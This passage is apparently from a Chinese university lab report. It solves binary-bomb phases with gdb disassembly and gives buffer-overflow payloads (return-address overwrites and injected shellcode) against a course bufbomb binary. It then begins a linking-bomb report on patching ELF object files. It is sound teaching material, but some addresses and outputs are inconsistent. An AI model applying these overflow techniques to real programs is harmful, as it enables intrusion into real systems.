为了通过这一关，需要找到一个输入字符串，使得经过转换后恰好得到目标字符串“bruins”。转换规则是：取输入字符串每个字符的 ASCII 码的低 4 位作为索引，从映射数组中取出对应的字符。具体转换过程如下：目标字符串“bruins”的第一个字符“b”在映射数组中的位置是第 14 个（索引 13），这意味着输入字符串的第一个字符的低 4 位必须是 1101（二进制的 13）；同样地，目标字符串的第二个字符“r”在数组中的位置是第 7 个（索引 6），对应输入字符低 4 位为 0110；按照这个逻辑，依次确定每个输入字符需要满足的低 4 位要求。

基于上述分析，选择可打印 ASCII 字符：字符“M”（ASCII 码 77，低 4 位 1101）对应目标字符“b”；字符“6”（ASCII 码 54，低 4 位 0110）

对应目标字符“r”；字符“3”（ASCII 码 51，低 4 位 0011）对应目标字符“u”；字符“4”（ASCII 码 52，低 4 位 0100）对应目标字符“i”；字符“8”（ASCII 码 56，低 4 位 1000）对应目标字符“n”；字符“7”（ASCII 码 55，低 4 位 0111）对应目标字符“s”。

因此，第五关答案为 **M63487**。（当然只需要 ASCII 的低 4 位能够对应目标字符就可以）

```
Gate 5 : input a string.
M63487
Phase 5 passed!
```

f) phase_6

依旧执行 break 语句在 phase_6 放置断点，再进行反汇编

```
Dump of assembler code for function phase_6:
0x000055555555db3 <+0>:    endbr64
0x000055555555db7 <+4>:    push    %rbp
0x000055555555db8 <+5>:    mov     %rsp,%rbp
=> 0x000055555555dbb <+8>:    sub     $0x90,%rsp
0x000055555555dc2 <+15>:   mov     %rdi,-0x88(%rbp)
0x000055555555dc9 <+22>:   mov     %fs:0x28,%rax
0x000055555555dd2 <+31>:   mov     %rax,-0x8(%rbp)
0x000055555555dd6 <+35>:   xor     %eax,%eax
0x000055555555dd8 <+37>:   lea     0x25a1(%rip),%rax    # 0x55555555e00
0x000055555555ddf <+44>:   mov     %rax,-0x68(%rbp)
0x000055555555de3 <+48>:   lea     -0x60(%rbp),%rdx
0x000055555555de7 <+52>:   mov     -0x88(%rbp),%rax
0x000055555555dee <+59>:   mov     %rdx,%rsi
0x000055555555df1 <+62>:   mov     %rax,%rdi
0x000055555555df4 <+65>:   call    0x55555555fa <read_six_numbers>
0x000055555555df9 <+70>:   movl    $0x0,-0x78(%rbp)
0x000055555555e00 <+77>:   jmp     0x55555555e6 <phase_6+163>
0x000055555555e02 <+79>:   mov     -0x78(%rbp),%eax
0x000055555555e05 <+82>:   cltq
0x000055555555e07 <+84>:   mov     -0x60(%rbp,%rax,4),%eax
0x000055555555e0b <+88>:   test    %eax,%eax
0x000055555555e0d <+90>:   jle     0x55555555e1d <phase_6+106>
0x000055555555e0f <+92>:   mov     -0x78(%rbp),%eax
0x000055555555e12 <+95>:   cltq
0x000055555555e14 <+97>:   mov     -0x60(%rbp,%rax,4),%eax
0x000055555555e18 <+101>:  cmp     $0x6,%eax
0x000055555555e1b <+104>:  jle     0x55555555e22 <phase_6+111>
0x000055555555e1d <+106>:  call    0x55555555977 <explode_bomb>
0x000055555555e22 <+111>:  mov     -0x78(%rbp),%eax
0x000055555555e25 <+114>:  add     $0x1,%eax
0x000055555555e28 <+117>:  mov     %eax,-0x74(%rbp)
0x000055555555e2b <+120>:  jmp     0x55555555e4c <phase_6+153>
0x000055555555e2d <+122>:  mov     -0x78(%rbp),%eax
0x000055555555e30 <+125>:  cltq
0x000055555555e32 <+127>:  mov     -0x60(%rbp,%rax,4),%edx
0x000055555555e36 <+131>:  mov     -0x74(%rbp),%eax
0x000055555555e39 <+134>:  cltq
0x000055555555e3b <+136>:  mov     -0x60(%rbp,%rax,4),%eax
0x000055555555e3f <+140>:  cmp     %eax,%edx
0x000055555555e41 <+142>:  jne     0x55555555e48 <phase_6+149>
```

```

0x000055555555e48 <+149>: addl $0x1,-0x74(%rbp)
0x000055555555e4c <+153>: cmpl $0x5,-0x74(%rbp)
0x000055555555e50 <+157>: jle 0x55555555e2d <phase_6+122>
0x000055555555e52 <+159>: addl $0x1,-0x78(%rbp)
0x000055555555e56 <+163>: cmpl $0x5,-0x78(%rbp)
0x000055555555e5a <+167>: jle 0x55555555e02 <phase_6+79>
0x000055555555e5c <+169>: movl $0x0,-0x78(%rbp)
0x000055555555e63 <+176>: jmp 0x55555555e5a6 <phase_6+243>
0x000055555555e65 <+178>: mov -0x68(%rbp),%rax
0x000055555555e69 <+182>: mov %rax,-0x70(%rbp)
0x000055555555e6d <+186>: movl $0x1,-0x74(%rbp)
0x000055555555e74 <+193>: jmp 0x55555555e86 <phase_6+211>
0x000055555555e76 <+195>: mov -0x70(%rbp),%rax
0x000055555555e7a <+199>: mov 0x8(%rax),%rax
0x000055555555e7e <+203>: mov %rax,-0x70(%rbp)
0x000055555555e82 <+207>: addl $0x1,-0x74(%rbp)
0x000055555555e86 <+211>: mov -0x78(%rbp),%eax
0x000055555555e89 <+214>: cltq
0x000055555555e8b <+216>: mov -0x60(%rbp,%rax,4),%eax
0x000055555555e8f <+220>: cmp %eax,-0x74(%rbp)
0x000055555555e92 <+223>: jl 0x55555555e76 <phase_6+195>
0x000055555555e94 <+225>: mov -0x78(%rbp),%eax
0x000055555555e97 <+228>: cltq
0x000055555555e99 <+230>: mov -0x70(%rbp),%rdx
0x000055555555e9d <+234>: mov %rdx,-0x40(%rbp,%rax,8)
0x000055555555ea2 <+239>: addl $0x1,-0x78(%rbp)
0x000055555555ea6 <+243>: cmpl $0x5,-0x78(%rbp)
0x000055555555eaa <+247>: jle 0x55555555e65 <phase_6+178>
0x000055555555eac <+249>: mov -0x40(%rbp),%rax
0x000055555555eab <+253>: mov %rax,-0x68(%rbp)
0x000055555555eb4 <+257>: mov -0x68(%rbp),%rax
0x000055555555eb8 <+261>: mov %rax,-0x70(%rbp)
0x000055555555ebc <+265>: movl $0x1,-0x78(%rbp)
0x000055555555ec3 <+272>: jmp 0x55555555ee7 <phase_6+308>
0x000055555555ec5 <+274>: mov -0x78(%rbp),%eax
0x000055555555ec8 <+277>: cltq
0x000055555555eca <+279>: mov -0x40(%rbp,%rax,8),%rdx
0x000055555555ecf <+284>: mov -0x70(%rbp),%rax
0x000055555555ed3 <+288>: mov %rdx,0x8(%rax)
0x000055555555ed7 <+292>: mov -0x70(%rbp),%rax
0x000055555555edb <+296>: mov 0x8(%rax),%rax
0x000055555555edf <+300>: mov %rax,-0x70(%rbp)
0x000055555555ee3 <+304>: addl $0x1,-0x78(%rbp)
0x000055555555ee7 <+308>: cmpl $0x5,-0x78(%rbp)
0x000055555555eeb <+312>: jle 0x55555555ec5 <phase_6+274>
0x000055555555eed <+314>: mov -0x70(%rbp),%rax
0x000055555555ef1 <+318>: movq $0x0,0x8(%rax)
0x000055555555ef9 <+326>: mov -0x68(%rbp),%rax
0x000055555555efd <+330>: mov %rax,-0x70(%rbp)
0x000055555555f01 <+334>: movl $0x0,-0x78(%rbp)
0x000055555555f08 <+341>: jmp 0x55555555f33 <phase_6+384>
0x000055555555f0a <+343>: mov -0x70(%rbp),%rax
0x000055555555f0e <+347>: mov (%rax),%edx
0x000055555555f10 <+349>: mov -0x70(%rbp),%rax
0x000055555555f14 <+353>: mov 0x8(%rax),%rax
0x000055555555f18 <+357>: mov (%rax),%eax
0x000055555555f1a <+359>: cmp %eax,%edx
0x000055555555f1c <+361>: jge 0x55555555f23 <phase_6+368>
0x000055555555f1e <+363>: call 0x55555555977 <explode_bomb>
0x000055555555f23 <+368>: mov -0x70(%rbp),%rax
0x000055555555f27 <+372>: mov 0x8(%rax),%rax
0x000055555555f2b <+376>: mov %rax,-0x70(%rbp)
0x000055555555f2f <+380>: addl $0x1,-0x78(%rbp)
0x000055555555f33 <+384>: cmpl $0x4,-0x78(%rbp)
0x000055555555f37 <+388>: jle 0x55555555f0a <phase_6+343>
0x000055555555f39 <+390>: nop
0x000055555555f3a <+391>: mov -0x8(%rbp),%rax
0x000055555555f3e <+395>: xor %fs:0x28,%rax
0x000055555555f47 <+404>: je 0x55555555f4e <phase_6+411>
0x000055555555f49 <+406>: call 0x55555555130 <__stack_chk_f
0x000055555555f4e <+411>: leave
0x000055555555f4f <+412>: ret
End of assembler dump.
(gdb)

```

程序有一个预定义的链表（头节点为 node1，地址 0x5555555558380）。输入整数表示节点索引（从 1 开始），程序根据这些索引重新排列链表顺序。

每个节点可能包含一个整数值（4 字节）和一个指向下一个节点的指针（8 字节）。需要从内存中获取这些值。

在 GDB 中查看 node1 的值并遍历链表，通过第二个 8 字节指向下一个 node1，直至最后一个结点的指针指向 null（0x0000000000000000）

```

0x555555558380 <node1>: 0x0000000100000119      0x00005555555558370
(gdb) x/2gx 0x00005555555558370
0x555555558370 <node2>: 0x000000020000038b      0x00005555555558360
(gdb) x/2gx 0x00005555555558360
0x555555558360 <node3>: 0x0000000300000142      0x00005555555558350
(gdb) x/2gx 0x00005555555558350
0x555555558350 <node4>: 0x0000000400000079      0x00005555555558340
(gdb) x/2gx 0x00005555555558340
0x555555558340 <node5>: 0x0000000500000338      0x00005555555558220
(gdb) x/2gx 0x00005555555558220
0x555555558220 <node6>: 0x0000000600000210      0x00000000000000000

```

根据得到的 5 个结点的 16 进制值的大小进行降序排列，得到结点的顺序即为所求的答案：2 5 6 3 1 4

行文至此，我们通过了任务一的所有 6 个关卡！

```

Input your Student ID :
U202414649
welcome U202414649
You have 6 bombs to defuse!
Gate 1 : input a string that meets the requirements.
Operating System
Phase 1 passed!
Gate 2 : input six intergers that meets the requirements.
9 4 13 17 30 47
Phase 2 passed!
Gate 3 : input 2 intergers.
6 425
Phase 3 passed!
Gate 4 : input 2 intergers and a string.
14 7
Phase 4 passed!
Gate 5 : input a string.
M63487
Phase 5 passed!
Gate 6 : input 6 intergers.
2 5 6 3 1 4
Phase 6 passed!
Congratulations! You have passed all the tests!
[Inferior 1 (process 73176) exited normally]

```

● 任务二

a) Smoke

首先我们应当在命令行中输入编译指令，再通过学号获取关键的函数位置信息和 cookie 值等信息

```
coherent@LAPTOP-MA08MQ58:~/实验3_资料/任务2: 缓冲区溢出攻击$ ./bufbomb U202414649 smoke_hex.txt 0
user id : U202414649
cookie : 0xc109a39
hex string file : smoke_hex.txt
level : 0
smoke : 0x0x4012d5 fizz : 0x0x4012fc bang : 0x0x40135a
welcome U202414649
please check file name smoke_hex.txt
Userid:
Cookie: 0xc109a39
```

紧接着根据 smoke 地址创建 smoke_hex.txt 文件，我们知道，小端序的存储格式为 d5 12 40 00 00 00 00 00。

```
≡ smoke_hex.txt
1  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00
4  d5 12 40 00 00 00 00 00
```

再次运行 ./bufbomb U202414649 smoke_hex.txt 0 得到如下结果，通过了第一级

```
user id : U202414649
cookie : 0xc109a39
hex string file : smoke_hex.txt
level : 0
smoke : 0x0x4012d5 fizz : 0x0x4012fc bang : 0x0x40135a
welcome U202414649
Smoke!: You called smoke()
NICE JOB!
```

b) Fizz

与 Smoke 关卡相比，Fizz 关卡增加了参数传递的要求。在 64 位系统中，第一个参

数通过 rdi 寄存器传递，因此控制 rdi 的值等于 cookie (0xc109a39)

我们可以将汇编代码直接注入到缓冲区中，然后让程序跳转到这段代码执行。先创建文件如下


```

ASM fizz_code.s
1  section .text
2  global _start
3
4  _start:
5      ; 将cookie值(0xc109a39)移动到rdi寄存器
6      mov rdi, 0xc109a39
7
8      ; 将fizz函数地址(0x4012fc)压入栈
9      mov rax, 0x4012fc
10     push rax
11
12     ; 返回, 跳转到fizz函数
13     ret

```

紧接着通过编译和反汇编获取机器码

```

0000000000000000 <_start>:
   0:  bf 39 9a 10 0c      mov     $0xc109a39,%edi
   5:  b8 fc 12 40 00      mov     $0x4012fc,%eax
   a:  50                  push    %rax
   b:  c3                  ret

```

获取之后, 我们再获取缓冲区的实际地址, 先在 fizz_hex.txt 文件中最后 8 个字节设置占位符。

```

(gdb) print &cookie
$1 = (int *) 0x404128 <cookie>
(gdb) disas fizz
Dump of assembler code for function fizz:
   0x00000000004012fc <+0>:  push    %rbp
   0x00000000004012fd <+1>:  mov     %rsp,%rbp
   0x0000000000401300 <+4>:  sub     $0x10,%rsp
   0x0000000000401304 <+8>:  mov     %edi,-0x4(%rbp)
   0x0000000000401307 <+11>: mov     0x2e1b(%rip),%eax      # 0x404128
   0x000000000040130d <+17>: cmp     %eax,-0x4(%rbp)
   0x0000000000401310 <+20>: jne     0x401337 <fizz+59>
   0x0000000000401312 <+22>: mov     -0x4(%rbp),%eax
   0x0000000000401315 <+25>: mov     %eax,%esi
   0x0000000000401317 <+27>: lea     0xd13(%rip),%rax      # 0x402031
   0x000000000040131e <+34>: mov     %rax,%rdi
   0x0000000000401321 <+37>: mov     $0x0,%eax
   0x0000000000401326 <+42>: call    0x401090 <printf@plt>
   0x000000000040132b <+47>: mov     $0x1,%edi
   0x0000000000401330 <+52>: call    0x401c68 <validate>
   0x0000000000401335 <+57>: jmp     0x401350 <fizz+84>
   0x0000000000401337 <+59>: mov     -0x4(%rbp),%eax
   0x000000000040133a <+62>: mov     %eax,%esi
   0x000000000040133c <+64>: lea     0xd0d(%rip),%rax      # 0x402050
   0x0000000000401343 <+71>: mov     %rax,%rdi
   0x0000000000401346 <+74>: mov     $0x0,%eax
   0x000000000040134b <+79>: call    0x401090 <printf@plt>
   0x0000000000401350 <+84>: mov     $0x0,%edi
   0x0000000000401355 <+89>: call    0x401130 <exit@plt>
End of assembler dump.

```

在反汇编中找到 0x401312 是 cmp 比较函数的地址，因此按照小端序修改攻击文件

```
≡ fizz_hex.txt
1  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
3  2c 41 40 00 00 00 00 00
4  12 13 40 00 00 00 00 00
```

```
coherent@LAPTOP-MA08MQ58:~/实验3_资料/任务2: 缓冲区溢出攻击$ ./bufbomb U202414649 fizz_hex.txt 1
user id : U202414649
cookie : 0xc109a39
hex string file : fizz_hex.txt
level : 1
smoke : 0x0x4012d5  fizz : 0x0x4012fc  bang : 0x0x40135a
welcome  U202414649
Fizz!: You called fizz(0xc109a39)
NICE JOB!
```

通过了第二级。

c) Bang

首先获取 global_value 的地址

```
(gdb) print &cookie
$1 = (int *) 0x403348 <cookie>
```

```

$1 = (int *) 0x403348 <cookie>
(gdb) disass /rs bang
Dump of assembler code for function bang:
bufbomb.c:
173     {
        0x000000000401346 <+0>:    55                push    %rbp
        0x000000000401347 <+1>:    48 89 e5          mov     %rsp,%rbp
        0x00000000040134a <+4>:    48 83 ec 10       sub     $0x10,%rsp
        0x00000000040134e <+8>:    89 7d fc          mov     %edi,-0x4(%rbp)

174         if (global_value == cookie) {
        0x000000000401351 <+11>:   8b 15 f9 1f 00 00  mov     0x1ff9(%rip),%edx    # 0x403350 <global_value>
        0x000000000401357 <+17>:   8b 05 eb 1f 00 00  mov     0x1feb(%rip),%eax    # 0x403348 <cookie>
        0x00000000040135d <+23>:   39 c2             cmp     %eax,%edx
        0x00000000040135f <+25>:   75 23             jne     0x401384 <bang+62>

175             printf("Bang! You set global_value to 0x%x\n", global_value);
        0x000000000401361 <+27>:   8b 05 e9 1f 00 00  mov     0x1fe9(%rip),%eax    # 0x403350 <global_value>
        0x000000000401367 <+33>:   89 c6             mov     %eax,%esi
        0x000000000401369 <+35>:   bf 70 20 40 00    mov     $0x402070,%edi
        0x00000000040136e <+40>:   b8 00 00 00 00    mov     $0x0,%eax
        0x000000000401373 <+45>:   e8 18 fd ff ff    call    0x401090 <printf@plt>

176             validate(2);
        0x000000000401378 <+50>:   bf 02 00 00 00    mov     $0x2,%edi
        0x00000000040137d <+55>:   e8 2e 08 00 00    call    0x401bb0 <validate>
        0x000000000401382 <+60>:   eb 17             jmp     0x40139b <bang+85>

177         } else
178             printf("Misfire: global_value = 0x%x\n", global_value);
        0x000000000401384 <+62>:   8b 05 c6 1f 00 00  mov     0x1fc6(%rip),%eax    # 0x403350 <global_value>
        0x00000000040138a <+68>:   89 c6             mov     %eax,%esi
        0x00000000040138c <+70>:   bf 95 20 40 00    mov     $0x402095,%edi
        0x000000000401391 <+75>:   b8 00 00 00 00    mov     $0x0,%eax
        0x000000000401396 <+80>:   e8 f5 fc ff ff    call    0x401090 <printf@plt>
--Type <RET> for more, q to quit, c to continue without paging--

179             exit(0);
        0x00000000040139b <+85>:   bf 00 00 00 00    mov     $0x0,%edi
        0x0000000004013a0 <+90>:   e8 8b fd ff ff    call    0x401130 <exit@plt>
End of assembler dump.
(gdb) quit

```

通过对题目要求的分析，编写 bang.s 汇编语言程序，得到需要修改的最后一行应该是 printf 函数的地址 0x401361，于是我们得到正确的 txt 文件

```

F: > 实验3 > 任务2: 缓冲区溢出攻击 > ASM bang.s
1  .section .text
2  .globl main
3  main:
4      # 将cookie值存入global_value
5      pushq $0xc109a39          # cookie值压栈
6      popq %rax                 # 弹出到rax
7      pushq $0x403350           # global_value地址压栈
8      popq %rbx                 # 弹出到rbx
9      movl %eax, (%rbx)          # 将cookie存入global_value
10
11     # 跳转到bang函数
12     pushq $0x401346            # bang地址压栈
13     ret                       # 跳转到bang

```

≡ bang_hex.txt

```

1  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
3  4c 33 40 00 00 00 00 00
4  61 13 40 00 00 00 00 00

```

```
coherent@LAPTOP-MA08MQ58:~/实验3_资料/任务2: 缓冲区溢出攻击$ ./bufbomb U202414649 bang_hex.txt 2
user id : U202414649
cookie : 0xc109a39
hex string file : bang_hex.txt
level : 2
smoke : 0x0x4012d0   fizz : 0x0x4012f2   bang : 0x0x401346
welcome U202414649
Bang!: You set global_value to 0x0
NICE JOB!
```

通过了第三级。

四、体会

通过完成二进制炸弹和缓冲区溢出攻击两个实验，我对程序安全机制和系统底层原理有了更深入的理解。这两个实验从不同角度展现了软件漏洞的成因与危害，让我在实践中学到了宝贵的经验。

二进制炸弹实验是一个典型的逆向工程挑战。通过反汇编分析和动态调试，我逐步理解了程序的控制流和逻辑结构。在破解每个关卡的过程中，不仅锻炼了汇编代码阅读能力，更培养了系统性分析问题的思维方式。这个实验让我认识到，面对复杂程序时，耐心和细致的代码分析往往比技术本身更为重要。

缓冲区溢出实验则直接揭示了内存安全的关键问题。从简单的栈溢出到复杂的代码注入，我亲身体验了软件漏洞的利用过程。通过覆盖返回地址、构造 shellcode 等操作，原本抽象的内存布局和栈帧结构变得具体可感知。在调试过程中遇到的地址随机化、栈保护等机制，让我体会到现代系统安全防护的复杂性。

这两个实验都显著提升了我的调试技能。使用 GDB 分析程序状态、查看内存内容、单步跟踪执行流程，这些实操经验是理论课程无法替代的。特别是在攻击失败时，通过寄存器状态和内存数据定位问题，这种问题解决能力对技术成长至关重要。实验过程也强化了我的安全意识。

亲手实现攻击代码后，我更加理解安全编程的必要性。简单的数组越界或未验证的输入可能带来严重后果，这促使我在编程时会更加注重边界检查和输入验证。最重要的是，这些实验架起了理论与实践的桥梁。书本上的汇编指令、栈帧结构等概念，通过动手实践变得生动具体。

这种经历让我明白，真正掌握技术需要理论与实践并重。整个实验过程不仅培养了技术能力，更锻炼了面对挑战时的耐心和解决问题的能力。

华中科技大学

课程实验报告

课程名称： 计算机系统基础实验

实验名称： ELF 文件与程序链接

院 系： 计算机科学与技术

专业班级： 大数据 2401

学 号： U202414649

姓 名： 赵哲煊

指导教师： 李 专

2025 年 11 月 1 日

一、实验目的与要求

通过修改给定的可重定位的目标文件（链接炸弹），加深对可重定位目标文件格式、目标文件的生成、以及链接的理论知识的理解。

实验环境：Ubuntu。

工具：GCC、GDB、readelf、hexdump、hexedit、od 等。作者使用 Microsoft VS Code 连接在 Ubuntu 中的 WSL2，并配合 VS Code 中的 Hex Editor 插件便于查看.o 文件。

二、实验内容

在二进制层面，逐步修改构成目标程序“linkbomb”的多个二进制模块（“.o 文件”），然后链接生成可执行程序，要求可执行程序运行能得到指定的效果。修改目标包括可重定位目标文件中的数据、机器指令、重定位记录等。

第 1 关 静态数据与 ELF 数据节

修改二进制可重定位目标文件 phase1.o 的数据节中的内容（不允许修改其他节），使其与 main.o 链接后，生成的执行程序，可以输出自己的学号。

第 2 关 简单的机器指令修改

修改二进制可重定位目标文件 phase2.o 的代码节中的内容（不允许修改其他节），使其与 main.o 链接后，生成的执行程序。在 phase_2.c 中，有一个静态函数 static void myfunc()，要求在 do_phase 函数中调用 myfunc()，显示信息 myfunc is called. Good!。

第 3 关 有参数的函数调用的机器指令修改

修改二进制可重定位目标文件 phase3.o 的代码节中的内容（不允许修改其他节），使其与 main.o 链接后，生成的执行程序。在 phase_3.c 中，有一个静态函数 static void myfunc(int offset)，要求在 do_phase 函数中调用 myfunc(pos)，将 do_phase 的参数 pos 直接传递 myfunc，显示相应的信息。

第 4 关 有局部变量的机器指令修改

修改二进制可重定位目标文件 phase4.o 的代码节中的内容（不允许修改其他节），使其与 main.o 链接后，生成的执行程序。在 phase_4.c 中，有一个静态函数 static void myfunc(char *s)，要求在 do_phase 函数中调用 myfunc(s)，显示出自己的学号。

第 5 关 重定位表的修改

修改二进制可重定位目标文件 phase5.o 的重定位节中的内容（不允许修改

代码节和数据节), 使其与 main.o 链接后, 生成的执行程序运行时, 显示 Class Name : Computer Foundation. Teacher Name : Xu Xiangyang。

第 6 关 强弱符号

不准修改 main.c 和 phase6.o, 通过增补一个文件, 使得程序链接后, 能够输出自己的学号。

```
#gcc -no-pie -o linkbomb6 main.o phase6.o phase6_patch.o
```

第 7 关 只读数据节的修改

修改 phase7.o 中只读数据节 (不准修改代码节), 使其与 main.o 链接后, 能够输出自己的学号。

三、实验记录及问题回答

(1) 实验任务的实验记录

a) 第一关

```

● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ readelf -S phase1.o
There are 16 section headers, starting at offset 0x400:

Section Headers:
 [Nr] Name              Type              Address            Offset
     Size              EntSize          Flags  Link  Info  Align
 [ 0]                      NULL              0000000000000000   00000000
     0000000000000000 0000000000000000   0      0      0
 [ 1] .text                PROGBITS          0000000000000000   00000040
     0000000000000035 0000000000000000   AX      0      0      1
 [ 2] .rela.text           RELA              0000000000000000   000002f8
     0000000000000048 0000000000000018   I      13      1      8
 [ 3] .data                PROGBITS          0000000000000000   00000080
     000000000000001e 0000000000000000   WA      0      0     16
 [ 4] .bss                 NOBITS            0000000000000000   0000009e
     0000000000000000 0000000000000000   WA      0      0      1
 [ 5] .data.rel.local      PROGBITS          0000000000000000   000000a0
     0000000000000008 0000000000000000   WA      0      0      8
 [ 6] .rela.data.r[...]   RELA              0000000000000000   00000340
     0000000000000018 0000000000000018   I      13      5      8
 [ 7] .rodata              PROGBITS          0000000000000000   000000a8
     0000000000000011 0000000000000000   A      0      0      1
 [ 8] .comment             PROGBITS          0000000000000000   000000b9
     000000000000002c 0000000000000001   MS      0      0      1
 [ 9] .note.GNU-stack      PROGBITS          0000000000000000   000000e5
     0000000000000000 0000000000000000   0      0      1
[10] .note.gnu.pr[...]    NOTE              0000000000000000   000000e8
     0000000000000020 0000000000000000   A      0      0      8
[11] .eh_frame            PROGBITS          0000000000000000   00000108
     0000000000000038 0000000000000000   A      0      0      8
[12] .rela.eh_frame       RELA              0000000000000000   00000358
     0000000000000018 0000000000000018   I      13     11      8
[13] .symtab              SYMTAB            0000000000000000   00000140
     00000000000000180 0000000000000018   14     11      8
[14] .strtab              STRTAB            0000000000000000   000002c0
     0000000000000034 0000000000000000   0      0      1
[15] .shstrtab            STRTAB            0000000000000000   00000370
     0000000000000089 0000000000000000   0      0      1

Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)

```

由节头表信息可知，.data 节位于文件偏移 0x80，大小 0x1e(30 字节)，我们需要将学号覆盖到对应位置，采取如下指令并验证：

```

● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -c -g main.c -o main.o
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -no-pie -o linkbomb1 main.o phase1.o
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb1
please input you stuid : U202414649
your ID is : mnopqrstuvwxyz
Bye Bye !

```

因此我们得到了修改位置，再利用 Hex Editor 插件修改对应位置，测试成功！

```

00000080  61 62 63 64 65 66 67 68 69 6A 6B 6C 55 32 30 32  a b c d e f g h i j k l U 2 0 2
00000090  34 31 34 36 34 39 00 78 79 7A 00 00 00 00 00 00  4 1 4 6 4 9 . x y z . . . . .
000000A0  00 00 00 00 00 00 00 00 79 6F 75 72 20 49 44 20  . . . . . y o u r   I D

```

```

● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb1
please input you stuid : U202414649
your ID is : U202414649
Bye Bye !

```

b) 第二关

readelf -S phase2.o 指令查看节头表，代码节的位置是 0x40

```

[ 1] .text          PROGBITS          0000000000000000 00000040
      0000000000000030 0000000000000000 AX          0          0          1

```

再对函数进行反汇编

```

0000000000000000 <myfunc>:
 0:  f3 0f 1e fa      endbr64
 4:  55                push   %rbp
 5:  48 89 e5          mov    %rsp,%rbp
 8:  48 8d 3d 00 00 00 00 lea     0x0(%rip),%rdi    # f <myfunc+0xf>
f:  e8 00 00 00 00    call   14 <myfunc+0x14>
14:  90                nop
15:  5d                pop    %rbp
16:  c3                ret

0000000000000017 <do_phase>:
17:  f3 0f 1e fa      endbr64
1b:  55                push   %rbp
1c:  48 89 e5          mov    %rsp,%rbp
1f:  89 7d fc          mov    %edi,-0x4(%rbp)
22:  90                nop
23:  90                nop
24:  90                nop
25:  90                nop
26:  90                nop
27:  90                nop
28:  90                nop
29:  90                nop
2a:  90                nop
2b:  90                nop
2c:  90                nop
2d:  90                nop
2e:  5d                pop    %rbp
2f:  c3                ret

```

计算偏移位置为 $0x40 + 0x22 = 0x62$ ，写入 call 指令：e8 d9 ff ff ff
再反汇编验证

```

22:  e8 d9 ff ff ff    call   0 <myfunc>

```

重新编译并测试

```

● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -no-pie -o linkbomb2 main.o phase2.o
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb2
please input you stuid : U202414649
myfunc is called. Good!
Bye Bye !

```

通过了第二关。

c) 第三关

readelf -S phase3.o 指令查看节头表得到代码节的位置

[1] .text	PROGBITS	0000000000000000	00000040
0000000000000044	0000000000000000	AX	0 0 1

```

Disassembly of section .text:

0000000000000000 <myfunc>:
0:  f3 0f 1e fa      endbr64
4:  55               push    %rbp
5:  48 89 e5         mov     %rsp,%rbp
8:  48 83 ec 10      sub     $0x10,%rsp
c:  89 7d fc         mov     %edi,-0x4(%rbp)
f:  8b 45 fc         mov     -0x4(%rbp),%eax
12: 89 c6            mov     %eax,%esi
14: 48 8d 3d 00 00 00 lea     0x0(%rip),%rdi    # 1b <myfunc+0x1b>
1b: b8 00 00 00 00   mov     $0x0,%eax
20: e8 00 00 00 00   call    25 <myfunc+0x25>
25: 90               nop
26: c9               leave
27: c3               ret

0000000000000028 <do_phase>:
28:  f3 0f 1e fa      endbr64
2c:  55               push    %rbp
2d:  48 89 e5         mov     %rsp,%rbp
30:  89 7d fc         mov     %edi,-0x4(%rbp)
33:  90               nop
34:  90               nop
35:  90               nop
36:  90               nop
37:  90               nop
38:  90               nop
39:  90               nop
3a:  90               nop
3b:  90               nop
3c:  90               nop
3d:  90               nop
3e:  90               nop
3f:  90               nop
40:  90               nop
41:  90               nop
42:  5d               pop     %rbp
43:  c3               ret

```

根据反汇编指令的结果，可以看出：

- myfunc 函数地址：0x00
- do_phase 函数地址：0x28
- do_phase 中有大量的 nop 指令（0x90），为我们提供了修改空间
- 参数传递：do_phase 的参数 pos 已存储在 edi 寄存器中，与 myfunc 的参数要求一致

我们需要在 do_phase 函数中插入 call myfunc 指令。选择在地址 0x33 处的 nop 指令位置进行修改，相对偏移 = $0x00 - (0x33 + 5) = -0x38 = 0xFFFFF8$

因此 call 指令机器码：e8 c8 ff ff ff

计算文件偏移：.text 节偏移 0x40 + 指令偏移 0x33 = 0x73（十进制 115）

插入 call 后再 objdump -d phase3.o 验证位置正确

33: e8 c8 ff ff ff	call 0 <myfunc>
--------------------	-----------------

再次对.o 文件进行链接，得到可执行文件后再执行

```

● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -no-pie -o linkbomb3 main.o phase3.o
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb3
please input you stuid : U202414649
gate 3: offset is : 12!
Bye Bye !

```

通过了第三关。

d) 第四关

由反汇编的结果

```

49: 48 b8 55 32 30 32 32    movabs $0x3332313232303255,%rax
50: 31 32 33
53: 48 89 45 ed            mov     %rax,-0x13(%rbp)
57: 66 c7 45 f5 34 35      movw    $0x3534,-0xb(%rbp)
5d: c6 45 f7 00           movb    $0x0,-0x9(%rbp)

```

在 49-5d, do_phase 构造了一个字符串, 我们需要修改栈上的字符串为 U202414649, 在适当位置插入调用 myfunc 的代码。

“U202414649”的 ASCII 十六进制: 55 32 30 32 34 31 34 36 34 39 00

在 nop 指令区域 (0x61 开始) 插入调用 myfunc 的代码。call 指令位置: 0x61, myfunc 地址 0x00, 相对偏移 = $0x00 - (0x61 + 5) = -0x66 = 0xFFFFFFF9A$

修改 movabs 指令 (文件偏移 0x40+0x4b=0x8b), movw 指令 (文件偏移 0x40+0x5b=0x9b) 插入调用代码 (文件偏移 0x40+0x5d=0x9d) 插入 lea 指令和 call 指令

```

